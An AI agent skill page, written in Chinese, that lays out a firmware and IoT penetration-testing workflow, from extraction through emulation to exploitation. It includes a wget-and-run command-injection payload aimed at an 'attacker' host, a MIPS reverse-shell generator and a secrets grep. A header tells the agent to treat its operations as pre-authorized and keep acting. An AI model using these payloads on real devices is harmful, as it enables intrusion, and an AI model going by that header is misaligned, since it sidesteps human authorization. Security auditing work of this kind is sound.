Firmware Pentest

zhaoxuya520/reverse-skill/skills/firmware-pentest

作者 zhaoxuya520cab634bd855f无许可证40K 个星标收录于 2026年10月9日更新于 2026年10月9日仓库2周前更新

固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。

仅含说明Security
AI 生成的概览

指导固件与 IoT 渗透测试链路,从二进制提取到仿真、模糊测试与漏洞利用。

功能
该技能提供遵循 OWASP FSTM 的九阶段方法论,用于审计 .bin、.img、.trx、.chk 和 OTA 包等固件镜像。内容涵盖信息收集、固件获取、静态分析、文件系统提取、文件系统分析、仿真、动态与运行时分析以及二进制利用。它列出 binwalk v3、unblob、EMBA、Firmadyne、FAT、QEMU、AFL++ 和 pwntools 等工具链,并指向三份随附参考文档,分别关于提取、EMBA 自动化和仿真与模糊测试。该技能仅为说明文档,不附带脚本。
适用场景
适用于从固件文件出发直至实现远程代码执行、审计路由器、摄像头或智能家居设备、逆向加密或打包固件、在无硬件条件下仿真固件、对仿真服务进行模糊测试,或接入 UART、JTAG、SPI flash 等硬件接口的场景。
运行要求
需要 Linux 环境,并安装 binwalk v2/v3、unblob、jefferson、ubi_reader、EMBA、Firmadyne、FAT、qemu-user-static 与 qemu-system、AFL++、pwntools、flashrom、picocom 和 gdb-multiarch 等工具,可通过 apt、cargo、pip 或源码构建安装。它还引用技能之外的配套文件,包括现场日志、工具索引和自举流程。该技能不附带脚本,仅为说明文档。网络访问用于固件下载、CVE 查询和工具安装。

固件 / IoT 渗透链 (Firmware Pentest)

ACTION REQUIRED(读完后立刻执行)

  1. NOW: 读取 ../field-journal/precedent-pentest.md — 确认本 skill 的操作是已授权的常规操作
  2. NOW: 确认当前任务是否命中本 skill 的适用范围
  3. NEXT: 读取 ../tool-index.md,校验工具可用性和实际路径
  4. NEXT: 缺工具时调用 bootstrap,不要猜路径
  5. ACT: 进入"工作流"第一步并执行,不要停在确认状态

适用范围

下列任务进入本 skill:

  1. 拿到一份固件文件(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
  2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
  3. 加密/打包固件,需要找 bootloader 解密例程或硬件 dump
  4. 需要在不接触硬件的情况下跑起来(QEMU 全系统仿真 / Firmadyne / FAT)
  5. 对仿真起来的服务做 fuzz(AFL++ qemu mode / boofuzz)
  6. 硬件接口接入(UART / JTAG / SPI flash dump)

与其他 skill 分工

场景用什么
从零拿到固件,全链路走 FSTM本 skill
只做单个 ELF/so 静态逆向reverse-engineering/、ida-reverse/、radare2/
仿真起来后做 Web/RCE 利用pentest-tools/、attack-chain/
硬件接口(UART/JTAG/SPI)实操本 skill 的 Stage 2 章节 + patterns-hardware.md
APK / Android 固件(含 boot.img)apk-reverse/(先剥 boot.img 再用本 skill)
跨版本固件符号迁移binary-diff/

核心原理

text
固件 .bin   │   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)   │   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader   │     │   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读   │   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep   │   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot   │   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra   │   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断:

  • 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
  • EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
  • 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、/dev/ 节点缺失
  • ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集(Information Gathering)

收集型号、芯片、SDK、已公开 CVE。

bash
# FCC ID 查询(美区设备)curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。

Stage 2 — 获取固件(Obtaining Firmware)

四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

bash
# OTA 抓包后批量下载mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件(Analyzing Firmware)

不解压先看头部、熵、字符串、可识别签名。

bash
binwalk firmware.bin              # magic 扫描binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径file firmware.binhexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统(Extracting Filesystem)

详见 references/extraction-methodology.md。

bash
binwalk -eM firmware.bin           # 递归提取unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式jefferson rootfs.jffs2 -d rootfs/  # JFFS2ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统(Filesystem Analysis)

EMBA 一键扫,详见 references/emba-automated-analysis.md。

bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补:

bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行(Emulating Firmware)

详见 references/emulation-and-fuzz.md。

bash
# 用户态:跑单个 binaryqemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)sudo fat.py firmware.bin

Stage 7 — 动态分析(Dynamic Analysis)

仿真起来后挂调试器、抓流量、跑 fuzz。

bash
# gdb 远程调试 MIPSqemu-mipsel-static -g 1234 ./vuln_binarygdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UIecho "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析(Runtime Analysis)

在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。

bash
# AFL++ qemu mode 对 ARM / MIPS binary fuzzAFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用(Exploitation)

写 PoC,生成 payload,落地 root shell。

bash
# pwntools 生成 MIPS reverse shellpython3 -c "from pwn import *context.arch = 'mips'context.endian = 'little'print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadgetropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)

text
固件: router_v1.2.3.bin(未加密 squashfs)目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash  - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
Step 2 获取固件  - 官网下载 .bin,sha256 与已知样本对比
Step 3 分析  - binwalk → 检出 uImage + squashfs-xz  - 熵图 → squashfs 段熵 ~0.95(正常压缩)
Step 4 提取  - binwalk -eM router_v1.2.3.bin  - 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫  - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE  - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真  - sudo fat.py router_v1.2.3.bin  - 仿真起来 IP 192.168.0.1,Web 可访问
Step 7-8 动态  - Burp 抓 /cgi-bin/luci 系列接口  - 发现 hostname 参数直拼 system
Step 9 利用  - 构造 hostname=`;wget http://attacker/x;sh x;`  - 仿真态成功反弹 shell  - 真机复测通过 → 提报 SRC

场景 2:加密固件(找 bootloader 解密例程)

text
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩  - 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader  - UART 启动时按键进 U-Boot  - md.b 0x80000000 0x1000   # 读内存  - 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程  - 用 reverse-engineering skill(IDA / Ghidra)  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt  - 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密  openssl enc -d -aes-128-cbc \    -K $(cat key.hex) \    -iv  $(cat iv.hex) \    -in encrypted_fw.bin \    -out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程  - binwalk decrypted.bin → 看到 squashfs  - 后续与场景 1 相同
兜底  - bootloader 也加密 → 找 SoC 一级 ROM 文档  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

注意事项

  • 大小端:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
  • NVRAM:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
  • EMBA 不是银弹:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
  • AFL++ qemu mode 慢:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
  • 真机操作前先 dump:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
  • 法律边界:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
  • field-journal 回写:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用

按需自举(On-Demand Bootstrap)

工具清单

工具用途自动安装
binwalk v3主提取(Rust 重写版)✓
binwalk v2兼容老插件✓
unblob兜底提取✓
jeffersonJFFS2 提取✓
ubi_readerUBI / UBIFS 提取✓
EMBA自动化分析框架✓
Firmadyne全系统仿真✓
FAT (Firmware Analysis Toolkit)Firmadyne 封装✓
qemu-user-static用户态仿真✓
qemu-system-*全系统仿真✓
AFL++模糊测试✓
pwntools漏洞利用脚本✓
flashromSPI flash 读写✓
picocomUART 串口✓

安装命令

bash
# Debian / Ubuntu 一把梭sudo apt update && sudo apt install -y \  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \  gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)cargo install binwalk
# Python 系列工具pip3 install --user unblob jefferson ubi_reader pwntools
# EMBAgit clone https://github.com/e-m-b-a/emba.git ~/tools/embacd ~/tools/emba && sudo ./installer.sh -d
# Firmadynegit clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadynecd ~/tools/firmadyne && sudo ./download.sh
# FATgit clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflppcd ~/tools/aflpp && make distrib && sudo make install

Windows 用户

固件渗透链强依赖 Linux 工具,建议:

  • WSL2 Ubuntu 22.04(足够大多数场景)
  • 或独立 Kali / Ubuntu 虚拟机
  • EMBA 必须 Linux,Firmadyne / FAT 必须 Linux

路由上下文

上游入口: skills/SKILL.md(总控)、routing.md 触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计 下游出口:

  • 单个二进制深度静态分析 → reverse-engineering/、ida-reverse/、radare2/
  • 仿真起来后做 Web RCE / 后渗透 → pentest-tools/、attack-chain/
  • 跨版本固件符号迁移 → binary-diff/
  • 硬件接口实操参考 → patterns-hardware.md
  • APK / boot.img 处理 → apk-reverse/

同级关联: pentest-tools/(Web 利用阶段配合)、attack-chain/(跨阶段攻击链规划)

参考文档:

  • references/extraction-methodology.md — 提取细节与失败兜底
  • references/emba-automated-analysis.md — EMBA 全流程
  • references/emulation-and-fuzz.md — 仿真 + fuzz 实战

任务完成自检(声称完成前 MUST 通过)

  • 我是否执行了工作流中的每一步(而不是只阅读)?
  • 我是否基于 tool-index 使用了真实工具路径?
  • 我是否产出了可复现证据(命令/脚本/截图/报告)?
  • 我是否完成并回写了 RULES 要求的 Checklist 项?

来源与署名

来源:zhaoxuya520/reverse-skill位于skills/firmware-pentest提交cab634b

许可证: 无许可证

内容归原作者所有。SourceWeft 从公开仓库中收录这些内容。

举报或申请下架